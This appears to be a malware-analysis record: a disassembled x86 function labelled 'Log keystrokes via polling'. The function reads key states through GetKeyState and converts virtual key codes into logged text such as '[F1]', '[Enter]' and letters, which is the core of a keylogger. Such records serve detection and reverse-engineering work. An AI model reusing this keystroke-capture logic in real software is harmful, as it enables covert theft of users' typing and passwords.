Function at 0x10013030
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10046be9
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x1005e068]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, edx
mov esi, ecx
mov dword [ebp - 0x18], esi
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 0
push 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
push 0x10055ae6
mov byte [esi], 0
call fcn.10001570
mov dword [ebp - 4], 0
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
push 0x10
mov dword [ebp - 0x14], 1
call edi
movsx ecx, ax
shr ecx, 0x1f
mov dword [ebp - 0x10], ecx
cmp ebx, 0xba
jl case.0x100130d9.193
cmp ebx, 0xde
jg case.0x100130d9.193
lea eax, [ebx - 0xba]
cmp eax, 0x24
ja case.0x100130d9.193
movzx eax, byte [eax + 0x10013c88]
jmp dword [eax*4 + 0x10013c58]
test cl, cl
mov ecx, esi
push 1
je 0x100130f2
push str.:_____.___
jmp 0x10013202
push 0x100572e4
jmp 0x10013202
test cl, cl
mov ecx, esi
push 1
je 0x1001310e
push 0x100572e8
jmp 0x10013202
push 0x100572ec
jmp 0x10013202
test cl, cl
mov ecx, esi
push 1
je 0x1001312a
push 0x100572f0
jmp 0x10013202
push 0x100572f4
jmp 0x10013202
test cl, cl
mov ecx, esi
push 1
je 0x10013146
push 0x100572f8
jmp 0x10013202
push 0x10057120
jmp 0x10013202
test cl, cl
mov ecx, esi
push 1
je 0x10013162
push 0x100572fc
jmp 0x10013202
push 0x10057300
jmp 0x10013202
test cl, cl
mov ecx, esi
push 1
je 0x1001317e
push 0x10057304
jmp 0x10013202
push 0x10057308
jmp 0x10013202
test cl, cl
mov ecx, esi
push 1
je 0x10013194
push 0x1005730c
jmp 0x10013202
push 0x10057310
jmp 0x10013202
test cl, cl
mov ecx, esi
push 1
je 0x100131aa
push 0x10057314
jmp 0x10013202
push 0x10056c34
jmp 0x10013202
test cl, cl
mov ecx, esi
push 1
je 0x100131c0
push 0x10057318
jmp 0x10013202
push 0x1005731c
jmp 0x10013202
test cl, cl
mov ecx, esi
push 1
je 0x100131d6
push 0x10057320
jmp 0x10013202
push 0x10056c30
jmp 0x10013202
test cl, cl
je 0x100131f9
cmp dword [esi + 0x14], 0x10
mov eax, esi
mov dword [esi + 0x10], 1
jb 0x100131f2
mov eax, dword [esi]
mov word [eax], 0x22
jmp case.0x100130d9.193
push 1
push 0x10057324
mov ecx, esi
call fcn.10001570
mov ecx, dword [ebp - 0x10]
cmp ebx, 9
jne 0x1001323f
push 5
push 0x10057328
mov ecx, esi
call fcn.10001570
push 5
push 0x10057328
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x1b
jne 0x10013266
push 5
push str._Esc_
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x70
jne 0x1001328d
push 4
push str._F1_
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x71
jne 0x100132b4
push 4
push str._F2_
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x72
jne 0x100132db
push 4
push str._F3_
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x73
jne 0x10013302
push 4
push str._F4_
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x74
jne 0x10013329
push 4
push str._F5_
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x75
jne 0x10013350
push 4
push str._F6_
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x76
jne 0x10013377
push 4
push str._F7_
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x77
jne 0x1001339e
push 4
push str._F8_
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x78
jne 0x100133c5
push 4
push str._F9_
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x79
jne 0x100133ec
push 5
push str._F10_
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x7a
jne 0x10013413
push 5
push str._F11_
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x7b
jne 0x1001343a
push 5
push str._F12_
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x2c
jne 0x10013461
push 8
push str._PrScrn_
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x91
jne 0x1001348b
push 0xd
push str._Scroll_Lock_
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x13
jne 0x100134b2
push 7
push str._Pause_
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x14
jne 0x100134d9
push 0xb
push str._Caps_Lock_
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 8
jne 0x10013500
push 0xb
push str._Backspace_
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0xd
jne 0x10013527
push 8
push str._Enter__n
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x20
jne 0x1001354e
push 1
push 0x100573e0
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 9
jne 0x10013575
push 5
push 0x10057328
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0xa2
jne 0x1001359f
push 6
push str._Ctrl_
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0xa3
jne 0x100135c9
push 6
push str._CTRL_
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0xa4
jne 0x100135f3
push 5
push str._Alt_
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x5b
jne 0x1001361a
push 5
push str._Win_
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x5c
jne 0x10013641
push 5
push str._WIN_
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x5d
jne 0x10013668
push 4
push 0x1005740c
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x2d
jne 0x1001368f
push 8
push str._Insert_
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x2e
jne 0x100136b6
push 8
push str._Delete_
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x24
jne 0x100136dd
push 6
push str._Home_
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x23
jne 0x10013704
push 5
push str._End_
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x21
jne 0x1001372b
push 6
push str._PgUp_
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x22
jne 0x10013752
push 8
push str._PgDown_
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 3
jne 0x10013779
push 8
push str._Cancel_
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0xc
jne 0x100137a0
push 7
push str._Clear_
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x29
jne 0x100137c7
push 8
push str._Select_
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x2a
jne 0x100137ee
push 7
push str._Print_
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x2b
jne 0x10013815
push 9
push str._Execute_
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x25
jne 0x1001383c
push 4
push 0x10057484
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x27
jne 0x10013863
push 4
push 0x1005748c
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x26
jne 0x1001388a
push 4
push 0x10057494
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x28
jne 0x100138b1
push 4
push 0x1005749c
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x90
jne 0x100138db
push 9
push str._NumLock_
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x6b
jne 0x10013902
push 1
push 0x100572e8
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x6d
jne 0x10013929
push 1
push 0x10057120
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x6a
jne 0x10013950
push 1
push 0x100559d0
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x6f
jne 0x10013977
push 1
push 0x10057308
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0xbe
je 0x10013bf6
cmp ebx, 0x6e
je 0x10013bf6
cmp ebx, 0x60
jne 0x100139b3
push 1
push str.0123456789______
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x61
jne 0x100139da
push 1
push 0x100574b4
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x62
jne 0x10013a01
push 1
push 0x100574b8
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x63
jne 0x10013a28
push 1
push 0x100574bc
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x64
jne 0x10013a4f
push 1
push 0x100574c0
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x65
jne 0x10013a76
push 1
push 0x100574c4
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x66
jne 0x10013a9d
push 1
push 0x100574c8
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x67
jne 0x10013ac4
push 1
push 0x100574cc
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x68
jne 0x10013aeb
push 1
push 0x100574d0
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x69
jne 0x10013b12
push 1
push 0x100574d4
mov ecx, esi
call fcn.10001570
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp ebx, 0x61
jl 0x10013b5a
cmp ebx, 0x7a
jg 0x10013b5a
push 0x14
call edi
test ax, ax
mov dword [esi + 0x10], 1
mov eax, esi
je 0x10013b3a
cmp byte [ebp - 0x10], 0
jne 0x10013be6
jmp 0x10013b44
cmp byte [ebp - 0x10], 0
je 0x10013be6
cmp dword [esi + 0x14], 0x10
lea ecx, [ebx - 0x20]
jb 0x10013b4f
mov eax, dword [esi]
mov byte [eax], cl
mov byte [eax + 1], 0
jmp case.default.0x10013b7c
cmp ebx, 0x30
jl case.default.0x10013b7c
cmp ebx, 0x39
jg case.default.0x10013b7c
test cl, cl
je 0x10013bdd
lea eax, [ebx - 0x30]
cmp eax, 9
ja case.default.0x10013b7c
jmp dword [eax*4 + 0x10013cb0]
push 1
push 0x100574d8
jmp 0x10013bfd
push 1
push 0x100574dc
jmp 0x10013bfd
push 1
push 0x100574e0
jmp 0x10013bfd
push 1
push 0x100574e4
jmp 0x10013bfd
push 1
push 0x100574e8
jmp 0x10013bfd
push 1
push 0x100574ec
jmp 0x10013bfd
push 1
push 0x100574f0
jmp 0x10013bfd
push 1
push 0x100574f4
jmp 0x10013bfd
push 1
push 0x100559d0
jmp 0x10013bfd
push 1
push 0x100574f8
jmp 0x10013bfd
mov dword [esi + 0x10], 1
mov eax, esi
cmp dword [esi + 0x14], 0x10
jb 0x10013bee
mov eax, dword [esi]
mov byte [eax], bl
mov byte [eax + 1], 0
jmp case.default.0x10013b7c
push 1
push 0x10057300
mov ecx, esi
call fcn.10001570
cmp ebx, 1
je 0x10013c44
cmp ebx, 0x41
jl 0x10013c44
cmp ebx, 0x5a
jg 0x10013c44
push 0x14
call edi
test ax, ax
mov dword [esi + 0x10], 1
mov eax, esi
je 0x10013c2d
cmp byte [ebp - 0x10], 0
jne 0x10013c33
jmp 0x10013c36
cmp byte [ebp - 0x10], 0
jne 0x10013c36
add bl, 0x20
cmp dword [esi + 0x14], 0x10
jb 0x10013c3e
mov eax, dword [esi]
mov byte [eax + 1], 0
mov byte [eax], bl
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret